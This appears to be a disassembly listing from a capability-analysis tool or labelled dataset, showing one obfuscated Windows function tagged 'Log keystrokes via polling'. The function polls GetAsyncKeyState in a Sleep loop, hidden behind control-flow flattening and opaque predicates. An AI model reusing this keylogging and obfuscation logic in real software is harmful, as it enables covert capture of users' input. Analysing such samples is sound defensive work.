Function at 0x1800015f0
Capabilities:
Log keystrokes via polling

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov esi, ecx
mov eax, 0x478d637c
mov r15, qword [sym.imp.KERNEL32.dll_Sleep]
mov r14, qword [sym.imp.USER32.dll_GetAsyncKeyState]
jmp 0x180001626
mov eax, 0x1e9fb9b6
nop dword [rax + rax]
cmp ecx, 0xa
cmovl eax, edx
cmp eax, 0xff937786
jle 0x180001680
cmp eax, 0x478d637b
jle 0x1800016c0
cmp eax, 0x55b68ca9
jle 0x180001757
cmp eax, 0x74daba50
jg 0x18000186c
cmp eax, 0x55b68caa
je 0x1800018dc
cmp eax, 0x6e892413
jne 0x180001626
cmp byte [rsp + 0x2d], 0
mov eax, 0x5090f4e9
jne 0x180001671
mov eax, 0x55b68caa
mov ebx, dword [rsp + 0x28]
jmp 0x180001626
cmp eax, 0xbdc5b1e7
jle 0x180001700
cmp eax, 0xf6554a84
jg 0x1800017a3
cmp eax, 0xe52f5d24
jg 0x1800018a1
cmp eax, 0xbdc5b1e8
je 0x180001910
cmp eax, 0xd824746d
jne 0x180001626
mov eax, 0x9b14aebc
jmp 0x180001626
cmp eax, 0x26c1276a
jg 0x1800017ec
cmp eax, 0xff937787
je 0x18000191a
cmp eax, 0xd61b295
je 0x18000192c
cmp eax, 0x1e9fb9b6
jne 0x180001626
mov eax, 0x8edd0f29
jmp 0x180001626
cmp eax, 0xb7fa70cf
jg 0x18000181b
cmp eax, 0x8edd0f29
je 0x180001941
cmp eax, 0x9b14aebc
je 0x18000196c
cmp eax, 0xb14c130d
jne 0x180001626
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0xb873f8ad
mov eax, 0xb873f8ad
test dil, 1
je 0x180001620
jmp 0x180001a56
cmp eax, 0x478d637c
je 0x18000197a
cmp eax, 0x478eed89
je 0x1800019a5
cmp eax, 0x5090f4e9
jne 0x180001626
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0x2ee52ee4
mov eax, 0x2ee52ee4
test dil, 1
je 0x180001620
jmp 0x180001a1a
cmp eax, 0xf6554a85
je 0x1800019af
cmp eax, 0xfbf14e3c
je 0x1800019d5
cmp eax, 0xfceb25ce
jne 0x180001626
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0xbd993d6d
mov eax, 0xbd993d6d
test dil, 1
je 0x180001620
jmp 0x180001862
cmp eax, 0x26c1276b
je 0x1800019df
cmp eax, 0x2ee52ee4
je 0x1800019e9
cmp eax, 0x30e20999
jne 0x180001626
mov eax, 0x7d4d6ada
mov ebp, dword [rsp + 0x34]
jmp 0x180001626
cmp eax, 0xb7fa70d0
je 0x180001a24
cmp eax, 0xb873f8ad
je 0x180001a30
cmp eax, 0xbd993d6d
jne 0x180001626
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0xd824746d
mov eax, 0xd824746d
test dil, 1
je 0x180001620
mov eax, 0xfbf14e3c
jmp 0x180001620
cmp eax, 0x74daba51
je 0x180001a60
cmp eax, 0x7d4d6ada
jne 0x180001626
mov dword [rsp + 0x28], ebp
mov ecx, dword [rsp + 0x28]
mov eax, 0x74daba51
cmp ecx, esi
jb 0x180001626
mov eax, 0xe52f5d25
jmp 0x180001626
cmp eax, 0xf153a0d3
jne 0x180001a77
mov ecx, 0x64
call r15
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0x30e20999
mov eax, 0x30e20999
test dil, 1
je 0x180001620
jmp 0x180001906
mov dword [rsp + 0x34], ebx
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0xf153a0d3
mov eax, 0xf153a0d3
test dil, 1
je 0x180001620
mov eax, 0xff937787
jmp 0x180001620
mov eax, 0xb7fa70d0
jmp 0x180001626
mov ecx, 0x64
call r15
mov eax, 0xf153a0d3
jmp 0x180001626
cmp word [rsp + 0x2e], 0
sets byte [rsp + 0x2d]
mov eax, 0xb14c130d
jmp 0x180001626
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0xbdc5b1e8
mov eax, 0xbdc5b1e8
test dil, 1
jne 0x180001613
jmp 0x180001620
mov eax, 0x55b68caa
mov ebx, dword [rsp + 0x30]
jmp 0x180001626
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0x8edd0f29
mov eax, 0x8edd0f29
test dil, 1
je 0x180001620
jmp 0x180001613
mov eax, 0xfceb25ce
jmp 0x180001626
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
mov eax, 0x2ee52ee4
jmp 0x180001626
mov eax, 0xbd993d6d
jmp 0x180001626
mov eax, 0xb873f8ad
jmp 0x180001626
mov eax, dword [rsp + 0x28]
add eax, 1
mov dword [rsp + 0x30], eax
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0x478eed89
mov eax, 0x478eed89
test dil, 1
je 0x180001620
mov eax, 0xf6554a85
jmp 0x180001620
mov eax, 0x7d4d6ada
xor ebp, ebp
jmp 0x180001626
mov eax, dword [0x18000a15c]
mov ecx, dword [0x18000a160]
lea edi, [rax - 1]
imul edi, eax
mov edx, 0x6e892413
mov eax, 0x6e892413
test dil, 1
je 0x180001620
mov eax, 0x26c1276b
jmp 0x180001620
mov ecx, 2
call r14
mov word [rsp + 0x2e], ax
mov eax, 0xd61b295
jmp 0x180001626
cmp eax, 0xe52f5d25
jne 0x180001626
mov eax, 1
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret